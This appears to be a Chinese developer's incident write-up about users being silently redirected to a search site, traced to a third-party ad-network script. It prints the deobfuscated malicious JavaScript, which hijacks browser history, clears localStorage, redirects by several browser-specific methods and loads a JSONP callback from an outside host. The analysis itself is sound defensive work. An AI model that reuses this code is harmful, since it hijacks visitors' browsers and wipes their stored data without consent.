今天的故事有點長,我慢慢給大家講。
首先,我們接到用戶投訴,在某些網絡運營商的網絡下,某些機型的瀏覽器中,訪問我們的頁面會有一些詭異的行為。
一,起因:
行為表現是,進入頁面后,什么都不操作,頁面加載完畢后,用戶的瀏覽器居然直接跳轉到了某個網站的一個搜索頁面,每次搜索的結果還都不一樣。
一開始我們發現了這個bug后,是非常被動的,因為用戶進行了錄屏操作,確實是什么都沒干頁面就自動跳轉到某網站搜索了,我們模擬了投訴用戶的網絡,UA,同款機型都無解,全程頁面都是使用的HTTPS鏈接,DNS排查后沒有被劫持。
二,排查:
因為無法復現,所以這個問題大概發生了大概一周左右,而且概率不大,后來我們模擬了用戶的ip段,對其進行了小概率的復現,然后追查網絡鏈路,定位了最后的問題。
引起這個的原因,是由于我們的頁面引入了某些第三方平臺的廣告聯盟腳本,而廣告的插入方式大家都知道,是以下幾個步驟組成的:
1,加載第三方廣告腳本。
2,第三方腳本根據規則動態獲取廣告展示腳本。
3,插入廣告展示腳本到廣告主頁面。
問題就出現在廣告腳本這一塊js判斷是后退進入頁面,也就是第二步。
通過對日志的排查,復現的腳本,會有小概率的情況在頁面中增加一些私貨,而且是通過eval加密的,具體加密方法其實就是下面這個地址生成的:js的eval方法在線加密解密工具
那么這段代碼做了什么呢?
通過對加密代碼進行解密,我們發現他干了一件非常神奇的事,這件事就和有關了。
直接上一下解密后的核心部分代碼:
window.loadKeyWord = function(wd) {
(function(window, location, wd) {
history.replaceState(null, document.title, location.pathname + "#!/stealingyourhistory");
history.pushState(null, document.title, location.pathname);
window.addEventListener("popstate",
function() {
if (location.hash === "#!/stealingyourhistory") {
history.replaceState(null, document.title, location.pathname);
setTimeout(function() {
var h = self,
d = document;
var i = d.URL,
n = d.location,
q = d.body,
B = function(b) {
!!h.localStorage && localStorage.clear();
//replace ie寫法
(1 - 0.1).toFixed(0) == 0 ? n.replace(b) : !!h.openDatabase ? ~
function(a, c) {
a.rel = 'noreferrer';
a.href = b;
q.insertBefore(a, q.firstChild);
try {

a.click()
} catch (z) {
c = d.createEvent('Event');
c.initEvent('click', !1, !1);
a.dispatchEvent(c)
}
}(d.createElement('a')) : ~
function(a) {
d.open();
d.write(a);
d.close()
}('+ b + '"/>')
};
var tt = wd;
if (tt) {
B("xxxxxxxx")
}
},
0)
}
},
false)
}(window, location, wd))
}
var hm = document.createElement("script");
hm.src = "xxxxx.com/?callback=loadKeyWord";
hm.async = true;
hm.type = "text/javascript";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s)
簡單解釋一下,定義的方法等于是一個全局的jsonp回調,然后惡意腳本通過調用另外一個來觸發這個方法的執行,傳回來的就是每次不一樣的關鍵字結果。
那么我們來簡單分析一下,這個方法干了點啥。
1,調用了方法進行了一次當前url的歷史記錄替換操作,這個記錄加上了 這個hash值。
2,調用方法把當前頁面的url換回來了,這樣保證如果用戶點擊了后退,那么就會回到帶有的這個值。
3,如果用戶點擊后退,會觸發事件,這個時候,正好會進入下面他增加的監聽,判斷如果url帶著,那么就會觸發他的惡意邏輯。
4,惡意邏輯寫的就比較簡單了,一系列的瀏覽器檢測后,不同的瀏覽器選擇不同的跳轉方式,比如.,比如自己創建一個a標簽自己模擬點擊,還有最狠的是在頁面里插入一個 meta來進行重定向。
明白了這個邏輯,大概的一個攻擊腳本就分析完了,那么為什么用戶會不點后退,進入頁面就自動跳轉了呢?
哈哈,因為本身在規范上寫的是只有用戶點擊了前進后退,對歷史記錄進行操作才會觸發的,但是在中他是有bug的,當瀏覽器打開一個新頁面或者刷新頁面,都會觸發js判斷是后退進入頁面,遇到這個bug的人一般都是在執行完畢后再一下進行的綁定的,但是這個惡意腳本應該是沒有考慮到,直接進行綁定了。